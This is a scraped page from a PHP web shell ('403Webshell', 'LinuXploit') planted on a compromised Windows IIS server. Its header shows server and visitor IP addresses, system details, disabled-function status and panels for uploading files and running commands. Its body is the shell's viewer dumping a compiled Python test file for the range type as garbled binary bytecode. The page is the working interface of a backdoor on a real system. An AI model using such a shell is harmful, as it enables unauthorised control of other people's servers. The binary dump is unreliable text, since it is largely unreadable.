403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_range.cpython-313.opt-2.pyc
�

��i�n���SSKrSSKrSSKrSSKrSSKJr SrSr"SS\R5r	\
S:Xa\R"5 gg)�N)�	ALWAYS_EQc#�b# �X-
U-S:a XU-
U--
nX:waUv� X-
nX:waMggg7f)Nr���start�stop�steps   �$C:\Python313\\Lib\test\test_range.py�pyranger
sD���
�����!�	
����%�%���m��K��M�E��m�	"�s�(/�/c�:�XU-
U--
n[X-
X-
U*5$�N)rrs   r
�pyrange_reversedrs(���T�\�T�!�!�D��4�;���t�e�4�4�c���\rSrSrS#SjrSrSrSrSrSr	S	r
S
rSrSr
S
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr S r!S!r"S"r#g)$�	RangeTest�Nc	��Ub,[R"X5n[R"X$5n[5n[R"XUS9n[	U5H�unup�X�:XaMX�:Xa#URSR
X7U	55 M7X�:Xa#URSR
X8U55 M_URSR
X7X�55 M� g)N)�	fillvaluez;{}: iterator ended unexpectedly at position {}; expected {}z/{}: unexpected excess element {} at position {}z5{}: wrong element at position {}; expected {}, got {})�	itertools�islice�object�zip_longest�	enumerate�fail�format)
�self�xs�ys�test_id�limit�sentinel�pairs�i�x�ys
          r
�assert_iterators_equal� RangeTest.assert_iterators_equals������!�!�"�,�B��!�!�"�,�B��8���%�%�b��A��"�5�)�I�A�v���v�����	�	�8�8>��w�1�8M�O����	�	�(�(.��w�1�(=�?��	�	�0�06��w�1�0H�J�*rc
�&�UR[[S55/SQ5 UR[[SS55/SQ5 UR[[S55/5 UR[[S55/5 UR[[SSS55/S	Q5 UR[[SS
S55/SQ5 SnSnS
nUR[[XS-55XS-/5 UR[[US-US55US-US-/5 UR[[US-US55US-US-/5 [[XU55nURX5 UR	X$5 UR[U5S5 [[X!U*55nURX$5 UR	X5 UR[U5S5 [[U*U*U*55nURU*U5 UR	U*U5 UR[U5S5 UR
[[5 UR
[[SSSS5 UR
[[SSS5 UR
[[SSS5 UR
[[SSS5 UR
[[SSS5 UR
[[SSS5 UR
[[SS5 UR
[[SSS5 UR[[S[R[RS-
55S5 [[R*[RS5nUR[U5[R5 g)N�)r��r*�)r*r+r)�r����
)r*r-����)r,r+�������d�2r+r2r-����g@��?�}Ô%�I�T�\�n��T�spam�*)�assertEqual�list�range�assertIn�assertNotIn�len�assertRaises�	TypeError�
ValueError�sys�maxsize)r�a�b�c�seq�rs      r
�
test_range�RangeTest.test_range.s������e�A�h���3�����e�A�q�k�*�L�9�����e�A�h���,�����e�B�i��"�-�����e�A�r�1�o�.�	�:�����e�A�r�2�.�/��@�����������e�A��s�m�,�q�A�#�h�7�����e�A�a�C��B�/�0�1�Q�3��!��*�=�����e�A�a�C��B�/�0�1�Q�3��!��*�=��5��q�>�"���
�
�a������ �����S��1�%��5���r�?�#���
�
�a������ �����S��1�%��5�!��a�R�!��$�%���
�
�q�b�#�����!��S�!�����S��1�%����)�U�+����)�U�A�q�!�Q�7����*�e�Q��1�5����)�U�C��A�6����)�U�A�s�A�6����)�U�A�q�#�6����)�U�E�5�%�@����)�U�A�v�6����)�U�A�r�6�:�����U�1�c�k�k�3�;�;�q�=�A�B�A�F��3�;�;�,����Q�/������Q�����-rc	��UR[S5 [5 SSS5 UR[S5 [SSSSSS5 SSS5 g!,(df   N>=f!,(df   g=f)	Nz)range expected at least 1 argument, got 0z)range expected at most 3 arguments, got 6r*r+r)r-r,�)�assertRaisesRegexrDr?�rs r
�%test_range_constructor_error_messages�/RangeTest.test_range_constructor_error_messages^sl��
�
#�
#��;�
�
�G�	
��
#�
#��;�
�
�!�Q��1�a��#�	
�
�

�
��
�
�s�A�A+�
A(�+
A9c	�Z�[SSS5nUR[U5S5 UR[[U55S5 [SSS5nUR[U5S5 UR[[U55S5 UR	U5 [SSS5nUR[U5S5 UR[[U55S5 UR	U5 [SSS5nUR[U5S5 UR[[U55S5 URU5 [SS-*5[SSS-*5[SSS-S	54H/nUR[U5/5 UR	U5 M1 [
S
[R-5n[
S[R-5n[
S[R-5nUR[[X"S-55X"S-/5 UR[[US-US	55US-US-/5 UR[[US-US
55US-US-/5 [[X#U55nURX%5 URX55 UR[U5S5 URUSU5 URUS	X$-5 [[X2U*55nURX55 URX%5 UR[U5S5 URUSU5 URUS	X4-
5 [[U*U*U*55nURU*U5 URU*U5 UR[U5S5 URUSU*5 URUS	U*U-
5 g)N� F�x:^Vl
 F�x:^Vr)r-rr.r+r4r2r/r5r*r6)r?r=rBr>�assertFalse�
assertTrue�intrFrGr@rA)rr$rHrIrJrKs      r
�test_large_operands�RangeTest.test_large_operandsks|���&�)�Q�'������Q���#�����T�!�W��q�)��)�V�Q�'������Q���#�����T�!�W��q�)�������&�)�R�(������Q���#�����T�!�W��q�)�������)�V�R�(������Q���#�����T�!�W��q�)��������C���.���A�s�F�7�#���1�c�6�2�&�(�A�
���T�!�W�b�)����Q��	(�
��S�[�[� �!����c�k�k�!�"����S�[�[� �!������e�A��s�m�,�q�A�#�h�7�����e�A�a�C��B�/�0�1�Q�3��!��*�=�����e�A�a�C��B�/�0�1�Q�3��!��*�=��5��q�>�"���
�
�a������ �����S��1�%�����Q���#�����R��!�#�&��5���r�?�#���
�
�a������ �����S��1�%�����Q���#�����R��!�#�&��5�!��a�R�!��$�%���
�
�q�b�#�����!��S�!�����S��1�%�����Q��!��$�����R��1�"�Q�$�'rc��Sn[R*n[RnX2-
n[X#5nURX%5 UR	X55 UR[[U5 URU5 URU"U5U5 URUSU5 [RS-nURXVX&-5 URXVUS-SX&-5 UR[5 XT*S-
 SSS5 UR[5 XT SSS5 SnS[R-nX2-
n[X#5nURX%5 UR	X55 UR[[U5 URU5 URU"U5U5 URUSU5 [RS-nURXVX&-5 URXVUS-SX&-5 UR[5 XT*S-
 SSS5 UR[5 XT SSS5 Sn[RS-nS[R-nSX2-
U--n[X#U5nURX%5 UR	X55 UR[[U5 URU5 URU"U5U5 URUSU5 [RS-nURXVX&U--5 URXVUS-SX&U--5 UR[5 XT*S-
 SSS5 UR[5 XT SSS5 [RS-nSnS[R-nSX2-
U--n[X#U5nURX%5 UR	X55 UR[[U5 URU5 URU"U5U5 URUSU5 [RS-nURXVX&U--5 URXVUS-SX&U--5 UR[5 XT*S-
 SSS5 UR[5 XT SSS5 g!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   N�=f!,(df   g=f)Nc�x�[U5nU$![a  USUS-
nSUSUS-
U--nU$f=f)Nr*rr2)rB�
OverflowError)r$�lengthr	s   r
�
_range_len�.RangeTest.test_large_range.<locals>._range_len�sY��
6��Q����M��!�
6���t�a��d�{���q��u�q��t�|��4�5���M�
6�s��&9�9rr*r+r/r6)rFrGr?r@rArCr^rBrXr=�
IndexError)rr`rHrI�expected_lenr$�idxrJs        r
�test_large_range�RangeTest.test_large_range�su��	��[�[�L���K�K���u���!�K���
�
�a����������-��a�0����������A���5�����1��q�!��k�k�!�m���������'�����s�1�u��a��!�%�0�
�
�
�z�
*�
�m�A�o��+�
�
�
�z�
*�
�O�+�
��
����O���u���!�K���
�
�a����������-��a�0����������A���5�����1��q�!��k�k�!�m���������'�����s�1�u��a��!�%�0�
�
�
�z�
*�
�m�A�o��+�
�
�
�z�
*�
�O�+�
���K�K��O��
�c�k�k�M���A�E�a�<�'���!��N���
�
�a����������-��a�0����������A���5�����1��q�!��k�k�!�m���������E��+�����s�1�u��a��!��U�)�4�
�
�
�z�
*�
�m�A�o��+�
�
�
�z�
*�
�O�+�
�K�K��O��
���s�{�{�N���A�E�a�<�'���!��N���
�
�a����������-��a�0����������A���5�����1��q�!��k�k�!�m���������E��+�����s�1�u��a��!��U�)�4�
�
�
�z�
*�
�m�A�o��+�
�
�
�z�
*�
�O�+�
*�u+�
*��
*�
*�� +�
*��
*�
*��"+�
*��
*�
*��"+�
*��
*�
*�s`�		T�/T�5	T%�T7�	U	�'U�
	U-�3U>�
T�
T"�%
T4�7
U�	
U�
U*�-
U;�>
Vc	��UR[[5 UR[[SSSS5 UR[[SSS5 [	S[
R-5nUR[[XS-[	S55 UR[[SSS5 UR[[SS	S	5 UR[[SS
5 UR[[SSS
5 UR[[S5 UR[[SS5 UR[[SS5 UR[[SS5 UR[[SSS5 UR[[SSS5 UR[[SSS5 UR[[SSS5 UR[[SSS5 UR[[SSS5 UR[[SSS5 g)
Nr*r+r)r-rr/r8r9r:r;r<r7)rCrDr?rErYrFrG)rrHs  r
�test_invalid_invocation�!RangeTest.test_invalid_invocation�s������)�U�+����)�U�A�q�!�Q�7����*�e�Q��1�5���S�[�[� �!�����*�e�Q�A��s�1�v�>����)�U�B��B�7����)�U�E�5�%�@����)�U�A�v�6����)�U�A�r�6�:�	
���)�U�C�0����)�U�A�s�3����)�U�C��3����)�U�C��5����)�U�A�q�#�6����)�U�A�s�A�6����)�U�A�s�C�8����)�U�C��A�6����)�U�C��C�8����)�U�C��a�8����)�U�C��c�:rc�2^�[S5nURURS5S5 URURS5S5 UR[URS5 [SS5nURURS5S5 URURS5S5 UR[UR5 "SS[5m"U4SjS	5n[S
5nURTURU"55 [SS5nURURS5S5 UR[SSS5RS
5S5 UR[SSS
5RS5S5 UR[S5RS5S5 UR[S5RS5S5 UR[[SSS-S5RSS-5 UR[SSS-S5RSS-S-5SS-5 UR[S5R[5S5 g)Nr+rr*r6r)c��\rSrSrSrg)�$RangeTest.test_index.<locals>.BadExcirN)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__rrr
�BadExcrls��rrrc�">�\rSrSrU4SjrSrg)�$RangeTest.test_index.<locals>.BadCmpic� >�US:XaT"5eg)Nr+Fr)r�otherrrs  �r
�__eq__�+RangeTest.test_index.<locals>.BadCmp.__eq__s����A�:� �(�N�rrN�rmrnrorprwrq)rrs�r
�BadCmprts
���
�
rrzr-r/���r.r1rVl�F�x:^Vr4�W�V)	r?r=�indexrCrE�countrD�	Exceptionr)r�urzrHrrs    @r
�
test_index�RangeTest.test_indexs�����!�H����������Q�'���������Q�'����*�a�g�g�q�1��"�a�L����������Q�'���������Q�'����)�Q�W�W�-�	�Y�	�	�	�
�!�H�����&�!�'�'�6�8�4��"�a�L����������Q�'�����q�"�a��.�.�q�1�1�5�����q�#�r�*�0�0��4�a�8�����v��,�,�Q�/��3�����v��,�,�Z�8�*�E����*�e�A�q�#�v�q�&9�&?�&?��B��G�����q�!�S�&�!�,�2�2�1�b�5��7�;�Q��U�C�����r�����3�Q�7rc�$�S[R-nSn"SS5nUR[[	U"U5U"US-555U/5 UR[[	U"U5U"US-555U/5 "SS5nUR[[U"55 "SS	5nUR[[U"55 UR[	S
5SU"S5[	S55 UR[5 [	SS
5SU"5 SSS5 UR[5 [	SS
5SU"5 SSS5 g!,(df   NA=f!,(df   g=f)
Nr+r<c� �\rSrSrSrSrSrg)�+RangeTest.test_user_index_method.<locals>.Ii9c�$�[U5Ulgr
)rY�n)rr�s  r
�__init__�4RangeTest.test_user_index_method.<locals>.I.__init__:s
���Q���rc��UR$r
�r�rRs r
�	__index__�5RangeTest.test_user_index_method.<locals>.I.__index__<s���v�v�
rr�N)rmrnrorpr�r�rqrrr
�Ir�9s��
 �
rr�r*c��\rSrSrSrSrg)�,RangeTest.test_user_index_method.<locals>.IXiBc��[er
)�RuntimeErrorrRs r
r��6RangeTest.test_user_index_method.<locals>.IX.__index__Cs��"�"rrN�rmrnrorpr�rqrrr
�IXr�Bs��
#rr�c��\rSrSrSrSrg)�,RangeTest.test_user_index_method.<locals>.INiHc��g)Nznot a numberrrRs r
r��6RangeTest.test_user_index_method.<locals>.IN.__index__Is��%rrNr�rrr
�INr�Hs��
&rr�r/r,r)rFrGr=r>r?rCr�rD)r�bignum�smallnumr�r�r�s      r
�test_user_index_method� RangeTest.test_user_index_method4s:���3�;�;�����	�	�
	
����e�A�f�I�q��!��}�=�>���I�����e�A�h�K��8�a�<��A�B�X�J�O�	#�	#�	
���,��r�t�4�	&�	&�	
���)�U�B�D�1�	
����r��5�A�a�D�)�5��8�4�
�
�
�|�
,��!�R�L��"�$��-��
�
�y�
)��!�R�L��"�$��*�
)�-�
,��*�
)�s� E0�F�0
E>�
Fc	�2�UR[S5RS5S5 UR[S5RS5S5 UR[S5RS5S5 UR[S5RS5S5 UR[S5RS5S5 UR[	[S5RS55[
5 UR[	[S5RS55[
5 UR[S5RS5S5 UR[S5RS5S5 UR[S5R
S5S5 UR[SSS-S5RSS-5S5 UR[SSS-S5RSS-S-5S5 UR[S	5R[5S	5 UR[[[R[RS	-55S	5 g)
Nr)r2rr*r+rVr4r|r/)r=r?r�assertIs�typerYr~rrBrFrGrRs r
�
test_count�RangeTest.test_countWs�������q�����+�Q�/�����q�����*�A�.�����q�����*�A�.�����q�����*�A�.�����q�����*�A�.��
�
�d�5��8�>�>�"�-�.��4��
�
�d�5��8�>�>�!�,�-�s�3�����v��,�,�Q�/��3�����v��,�,�V�4�a�8�����q�����*�A�.�����q�!�S�&�!�,�2�2�1�b�5�9�1�=�����q�!�S�&�!�,�2�2�1�b�5��7�;�Q�?�����r�����3�R�8�����U�3�;�;����B��?�@�"�Erc	���UR[[S55S5 UR[[SS55S5 UR[[SSS55S5 g)Nr*zrange(0, 1)r+zrange(1, 2)r)zrange(1, 2, 3))r=�reprr?rRs r
�	test_repr�RangeTest.test_reprisS������e�A�h���7�����e�A�q�k�*�M�:�����e�A�q�!�n�-�/?�@rc
��SSSSSSSS-SS-S-4/n[[RS	-5HxnUHonURX#S
9 [U6nUR	[[R"[R"XB555[U55 SSS5 Mq Mz g!,(df   M�=f)N��
�r��i��r/��r)r2�r��r)�r6r+r+r+�Ar*)�proto�test)r?�pickle�HIGHEST_PROTOCOL�subTestr=r>�loads�dumps)r�	testcasesr��trLs     r
�
test_pickling�RangeTest.test_picklingns����G�Y�� �*�q�"�u�a��e�A�g�.>�@�	��6�2�2�Q�6�7�E����\�\��\�6��q�	�A��$�$�T�&�,�,�v�|�|�A�7M�*N�%O�%)�!�W�.�7�6��8�6�6�s
�AB.�.
B=c��/SQnSHLnUUS-
US-
4SU-SU-S-4US-
US-
S4U*S-U*S4SSUS-
4SSU*4SUS-
US-
4SU*U*4/-
nMN [[RS-5GH!nUGHnURX4S	9 [	[U65=pV[[U65n[R"XS5n[R"U5nUR[U5[U55 UR[U5U5 [R"U5n[U5 [R"XS5n[R"U5nUR[U5USS5 SSS5 GM GM$ g![a
 SSS5 GM7f=f!,(df   GMK=f)
N)r�r�r�r�r�r�)llr)r*r-r+r6r2)r�r�)r?r�r�r��iterr>r�r�r=r��next�
StopIteration)	rr��Mr�r��it�itorg�data�ds	         r
�test_iterator_pickling� RangeTest.test_iterator_picklingxs���!�	��A���1��a��c�
�Q�q�S�!�A�#�a�%�L��1��a��c�1�
���1��q�b�"�~��A�q��s��b�"�q�b�\��A�a�C��1��
��Q�B���|�	�
�I���6�2�2�Q�6�7�E����\�\��\�3�!%�e�Q�i��0�B���q�	�?�D����R�/�A����a��B��$�$�T�%�[�$�r�(�;��$�$�T�"�X�t�4����a��B�!��R�����R�/�A����a��B��$�$�T�"�X�t�A�B�x�8�!4�3��8��)�!� �4�3�!��4�3�s2�B%F4�2F�=A
F4�
F1	�$F4�0F1	�1F4�4
Gc�v�[[RS-5H�nURUS9 [	[S55nURS5 [R"X!5n[R"U5nUR[U5S5 SSS5 M� g!,(df   M�=f)Nr*)r�ll)
r?r�r�r�r��__setstate__r�r�r=r�)rr�r�r�s    r
�(test_iterator_pickling_overflowing_index�2RangeTest.test_iterator_pickling_overflowing_index�s����6�2�2�Q�6�7�E����E��*��%�	�*�+�����	�*��L�L��+���\�\�!�_��� � ��b��9�5�+�*�8�*�*�s�A-B)�)
B8	c��[[RS-5H�n[SS-SS-S-5n[U5n[	U5nUSS-S-:XaOM[R
"X15n[R"U5nUR[U5/5 UR[U5/5 M� g)Nr*r+r��	r?r�r�r�r�r�r�r=r>�rr�rLr#r��i2s      r
� test_exhausted_iterator_pickling�*RangeTest.test_exhausted_iterator_pickling�s����6�2�2�Q�6�7�E��a��e�Q��U�1�W�%�A��Q��A����G����2��a��<������Q�&�A����a��B����T�!�W�b�)����T�"�X�r�*�8rc�d�[[RS-5H�n[S5n[U5n[	U5nUS:XaOM[R
"X15n[R"U5nUR[U5/5 UR[U5/5 M� g)Nr*r��r�r�s      r
�&test_large_exhausted_iterator_pickling�0RangeTest.test_large_exhausted_iterator_pickling�s����6�2�2�Q�6�7�E��b�	�A��Q��A����G����7������Q�&�A����a��B����T�!�W�b�)����T�"�X�r�*�8rc��/SQnUH6n[R"U5nUR[U5/SQ5 M8 g)N)
s<c__builtin__
iter
(c__builtin__
xrange
(I10
I20
I2
tRtRI2
b.s6c__builtin__
iter
(c__builtin__
xrange
(K
KKtRtRKb.s6�c__builtin__
iter
c__builtin__
xrange
K
KK�R�RKb.s/�cbuiltins
iter
cbuiltins
range
K
KK�R�RKb.s<��1�builtins�iter��builtins�range�K
KK�R�RKb.sdc__builtin__
iter
(c__builtin__
xrange
(L-36893488147419103232L
I20
I2
tRtRL18446744073709551623L
b.sac__builtin__
iter
(c__builtin__
xrange
(L-36893488147419103232L
KKtRtRL18446744073709551623L
b.sH�c__builtin__
iter
c__builtin__
xrange
�	�KK�R�R�	b.sA�cbuiltins
iter
cbuiltins
range
�	�KK�R�R�	b.sN��C�builtins�iter��builtins�range��	�KK�R�R�	b.����)r�r�r=r>)rr�r�r�s    r
�test_iterator_unpickle_compat�'RangeTest.test_iterator_unpickle_compat�s6��
�	��A����a��B����T�"�X�|�4�rc�2�[[SSS55nURS5 UR[	U5/SQ5 [[SSS55nURS5 UR[	U5SS/5 [[SS-*SS55nURS5 UR[	U5/SQ5 [[SSS-S55nURS	5 UR[	U5SS/5 g)
Nr/r�r+r�r)�r�ll����)r�r?r�r=r>�reversed)rr�s  r
�test_iterator_setstate� RangeTest.test_iterator_setstate�s���
�%��B��"�
#��
���������b��<�0�
�e�B��A�&�
'��
���������b��B��8�,�
�%��B����A�&�
'��
���	�"�����b��<�0�
�e�B��2��q�)�
*��
���	�"�����b��B��8�,rc	�X�SH�nS[SSS54S[SSS-S544nUHWup4URXS9 [U5nUR[5 URU5 SSS5 SSS5 MY M� g!,(df   N=f!,(df   M�=f)	N)r8��	rangeiterr/r4r+�
longrangeiterr�)�
invalid_valuer?)r?r�r�rCrDr�)rr��ranges�rng_name�rngr�s      r
�test_iterator_invalid_setstate�(RangeTest.test_iterator_invalid_setstate�s���&�M�"�E�"�c�1�$5�6�&��b�!�R�%��(;�<�>�F�!'�
���\�\�
�\�N��c��B��*�*�9�5����
�6�6�O�N�"(�'�6�5��O�N�s#�!B�B		�0B�	
B
�B�
B)c�|�UR[5 [/SS5 SSS5 g!,(df   g=f)Nr*r2)rCrDr?rRs r
�test_odd_bug�RangeTest.test_odd_bug�s*���
�
�y�
)��"�a���*�
)�
)�s�-�
;c�>�URS[S55 URS[S55 URS[S55 UR[[S55 "SS5nURU"5[S55 UR[	U"55[S55 "SS[5nURU"S	5[S
55 URU"S	5[[S
555 g)Nr8r)Ty�?c� �\rSrSrSrSrSrg)� RangeTest.test_types.<locals>.C2i�c��g�Nr*rrRs r
�__int__�(RangeTest.test_types.<locals>.C2.__int__�s��arc��gr�rrRs r
r��*RangeTest.test_types.<locals>.C2.__index__�s��rrN)rmrnrorpr�r�rqrrr
�C2r��s��'�)rr�c��\rSrSrSrSrg)� RangeTest.test_types.<locals>.C3i�c��g)NTr)rrvs  r
rw�'RangeTest.test_types.<locals>.C3.__eq__�s��DrrNryrrr
�C3r��s��0rrr�r/)r@r?rrArYr>)rr�rs   r
�
test_types�RangeTest.test_types�s���	
�
�
�c�5��8�$��
�
�d�E�!�H�%��
�
�d�E�!�H�%��
�
�i��q��*�	*�	*�	
�����u�Q�x�(��
�
�c�"�$�i��q��*�	1��	1��
�
�b��f�e�B�i�(��
�
�b��f�d�5��9�o�.rc�&�[SSS5nURSU5 URSU5 URSU5 URSU5 URSU5 URSU5 [SSS5nURSU5 URSU5 URS	U5 URSU5 [SSS
5nURSU5 URS	U5 URSU5 g)Nr�er+r*�cr4���r2���r6i���r?r@rA�rrLs  r
�test_strided_limits�RangeTest.test_strided_limitss����!�S�!����
�
�a�������A���
�
�a�������Q���
�
�c�1������a� ��!�S�"����
�
�a����
�
�b�!���
�
�c�1������a� ��!�S�"����
�
�c�1������a� �����a� rc���[S5nURSU5 URSU5 [SS5nURSU5 URSU5 URSU5 g)Nrr*r{r2)r?rAr	s  r
�
test_empty�RangeTest.test_emptysf���!�H������A������A���!�S�M������A������Q������A�rc
��SVVVs/sH(nU*U*S-SUS-U4HnSHnX#-PM	 M M* nnnnUVVVs/sHnUHnSHnXVU4PM	 M M nnnnUS/-
nUH�upVn[XVU5n	[XVU5n
SRXVU5nURX�USS	9 [	[XVU55n	[XVU5n
S
RXVU5nURX�USS	9 M� gs snnnfs snnnf)N)llr+r)r6r2rr*r+)���i�r6r2r*r+)rl����r*zrange({}, {}, {})r4)r zreversed(range({}, {}, {})))r?rrr&r�r)rr��base�jiggle�limitsr�endr	�test_ranges�iter1�iter2rs            r
�test_range_iterators�RangeTest.test_range_iterators sL��*�3�)�a� !�r�A�2�q�5�!�Q��T�1�5�d� 1�f��-�!2� �5� �)�	�3�
%+�C�$*�5�"(�3�#A�4��D�)�$B�*�"(�*�$*�	�C�	�,�-�-�� +��E���%�d�+�E��E��-�E�)�0�0��T�B�G��'�'��g�S�'�I��U�5�t�4�5�E�$�U��6�E�3�:�:�5�t�L�G��'�'��g�S�'�I�!,��3��Cs�/C8�"C?c���[[[S555nUR[USSS5 [[[SS-555nUR[USSS5 g)Nrr*r)i�)r�r�r?rCrD)r�rangeiter_type�long_rangeiter_types   r
�test_range_iterators_invocation�)RangeTest.test_range_iterators_invocation9s\���d�5��8�n�-�����)�^�Q��1�=�"�4��a�4�i�(8�#9�:�����)�%8�!�Q��Brc	�r^^�SUU4Sjjn[S5[S5[SSS5[SSS5[[RS-[RS-54HMmU"SS	5 U"SS
5 U"SS	5 U"S
S5 U"SS
5 U"SSS	5 U"SS5 U"SSS5 MO g)Nc��>�[XU5nTR[TU5[T5U5 TR[TU5[[T5U55 gr
)�slicer=r>rB)rrr	r#rLrs    ��r
�check�#RangeTest.test_slice.<locals>.checkBsS����e�4�(�A����T�!�A�$�Z��a����4����S��1��Y��D��G�A�J��8rr/rr*�	r)�r.r+r�����rr2r4r
)r?rFrG)rr"rLs` @r
�
test_slice�RangeTest.test_sliceAs����	9�	9���)���(���1�a�.���1�b�/�����A�
�s�{�{�2�~�6�	�A�
�!�Q�K��!�R�L��!�Q�K��"�b�M��#�s�O��"�c�1���!�R�L��"�b�"��rc�X�[S5nURSU5 URSU5 URSU5 URSU5 URSU5 URSU5 URSU5 [SSS5nURSU5 URSU5 URSU5 URSU5 URSU5 URSU5 URSU5 [SSS	5nURSU5 URSU5 URSU5 URSU5 URSU5 URSU5 URSU5 [SSS
5nURSU5 URSU5 URSU5 URSU5 URSU5 URSU5 URSU5 g)Nr/rr*g@gffffff@r2r�r$r+r6rr	s  r
�
test_contains�RangeTest.test_containsUs����"�I���
�
�a����
�
�a����
�
�c�1������a� �����Q������Q������Q���!�R�����
�
�a����
�
�a����
�
�c�1������a� �����Q������Q������Q���!�R��O���
�
�a�������A������a� �����a� �����Q������Q������Q���!�R��������A���
�
�a����
�
�c�1������a� �����Q������Q������Q�rc	�.�[S5[S5[SSS5[SSS5[[RS-[RS-54H6nUR[	[U55[	U5SSS25 M8 g)	Nr/rr*r$r)r%r.r2)r?rFrGr=r>r�r	s  r
�test_reverse_iteration� RangeTest.test_reverse_iterationwss����)���(���1�a�.���1�b�/�����A�
�s�{�{�2�~�6�	�A�
���T�(�1�+�.��Q���"��
�>�
rc��[[SSS5RS56n1SknUHnUHnUS1-
H	nXXE2 M M M! g)Nr*r�r+r�>Nrr*r+r,r�r�r�r&r���r'���rrr1r6r2r)r?r!�indices)rrL�valuesr#�j�ks      r
�test_issue11845�RangeTest.test_issue11845�sS���5��B��?�*�*�2�.�/��6���A����1�#��A���e�H�&��rc���[S5[SS5[SSS5[S5[SS5[SSS5[SSS5[S5[SS	S5[SSS5[SSS5/n[[[U55nUVVs/sHo1HoCU:HPM	 M nnnUVVs/sHo2HoCU:HPM	 M nnnUR	XV5 UVVs/sHo1HoCU:gPM	 M nnnUR	XuVs/sH	o�(+PM sn5 UH7nUH.nX4:XdM
UR	[U5[U55 M0 M9 UR
[S5S
:HS5 UR
S
[S5:HS5 UR
[S5SS/:HS5 UR	[SSS-S-
S5[SSS-S55 UR	[[SSS-S-
S55[[SSS-S555 UR[SSS-S5[SSS-S-S55 UR	[SS
-SS-SS--
SS-5[SS
-SS-SS-55 UR	[[SS
-SS-SS--
SS-55[[SS
-SS-SS-555 UR[SS
-SS-SS-5[SS
-SS-S-SS-55 UR[5 [S5[S5: SSS5 UR[5 [S5[S5:� SSS5 UR[5 [S5[S5:* SSS5 UR[5 [S5[S5:� SSS5 gs snnfs snnfs snnfs snf!,(df   N�=f!,(df   N�=f!,(df   N}=f!,(df   g=f)Nrr2r*r)r,rPr+r0r-rFr4����r)
r?r>�map�tupler=�hashr��assertNotEqualrCrD)	rr�test_tuplesrHrI�	ranges_eq�	tuples_eq�	ranges_ner$s	         r
�test_comparison�RangeTest.test_comparison�s����Q�x��q�"��u�Q��1�~��Q�x��q�!��e�A�q�!�n��Q��1�~�u�Q�x��q�!�Q���Q��1�~�u�Q��1�~�7���3�u�k�2�3��&1�F�[��+�Q�!�V�+�V�[�	�F�%0�F�[��+�Q�!�V�+�V�[�	�F�����.�&1�F�[��+�Q�!�V�+�V�[�	�F�����I�$>�I�q�U�I�$>�?��A� ���6��$�$�T�!�W�d�1�g�6�!��	
�
�
�e�A�h�"�n�e�,��
�
�b�E�!�H�n�e�,��
�
�e�A�h�1�a�&�(�%�0�	
����q�!�S�&�1�*�a�0��q�!�S�&�!�,�	.�����e�A�q�#�v��z�1�5�6��e�A�q�#�v�q�1�2�	4����E�!�Q��V�Q�/�!�!�Q��V�a�Z��3�	5�����q�#�v�q�#�v��2��~�q�#�v�>��q�#�v�q�#�v�q�#�v�6�	8�����e�A�s�F�A�s�F�Q��U�N�A�s�F�C�D��e�A�s�F�A�s�F�A�s�F�;�<�	>����E�!�S�&�!�S�&�!�S�&�9�!�!�S�&�!�S�&�1�*�a��f�=�	?��
�
�y�
)��!�H�u�Q�x��*�
�
�
�y�
)��!�H�u�Q�x��*�
�
�
�y�
)��!�H��a�� �*�
�
�
�y�
)��!�H��a�� �*�
)��QG��F��G��$>�8*�
)��
)�
)��
)�
)��
)�
)�sH�P�<P�,P�P 
�P%�P6�8Q�-Q�%
P3�6
Q�
Q�
Q&c�^�UR[S5SSS5 UR[S5SSS5 UR[S5SSS5 UR[SSS5SSS5 UR[SSS5SSS5 UR[SSS5SSS5 UR[SSS5SSS5 UR[S5SSS5 UR[S	S5SSS5 UR[S	SS5SSS5 g)
Nrr*r/r{r)r2r.TF)�assert_attrsr?rRs r
�test_attributes�RangeTest.test_attributes�s�����%��(�A�q�!�,����%��)�Q��A�.����%��*�a��a�0����%��2�q�/�1�b�!�4����%��2�q�/�1�b�!�4����%��A�r�*�B��2�6����%��A�r�*�B��2�6����%��+�q�!�Q�/����%��t�,�a��A�6����%��t�T�2�A�q�!�<rc��URURU5 URURU5 URURU5 UR	[UR5[5 UR	[UR5[5 UR	[UR5[5 UR[5 SUlSSS5 UR[5 SUlSSS5 UR[5 SUlSSS5 UR[5 U?SSS5 UR[5 U?SSS5 UR[5 U?SSS5 g!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   Ns=f!,(df   g=f)Nrr/r*)	r=rrr	r�r�rYrC�AttributeError)r�rangeobjrrr	s     r
rG�RangeTest.assert_attrs�sL���������/��������-��������-��
�
�d�8�>�>�*�C�0��
�
�d�8�=�=�)�3�/��
�
�d�8�=�=�)�3�/�
�
�
�~�
.��H�N�/�
�
�
�~�
.��H�M�/�
�
�
�~�
.��H�M�/��
�
�~�
.���/�
�
�
�~�
.��
�/�
�
�
�~�
.��
�/�
.�/�
.��
.�
.��
.�
.��/�
.��
.�
.��
.�
.�sH�%F �
F1�/G�G�4G$�G5� 
F.�1
F?�
G�
G!�$
G2�5
Hrr
)$rmrnrorpr&rMrSrZrerhr�r�r�r�r�r�r�r�r�r�r�r�r�rr
r
rrr(r+r.r7rDrHrGrqrrr
rrs���J�*..�`$�6(�pS�j;�0"8�H! �FF�$A�
.�9�<6�+�+�5�$-�7��/�0!�(�J�2C��(  �D?��2!�j=�rr�__main__)�unittestrFr�r�test.supportrrr�TestCaserrm�mainrrr
�<module>rSsM���
�
��"��5�
G��!�!�G�R�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit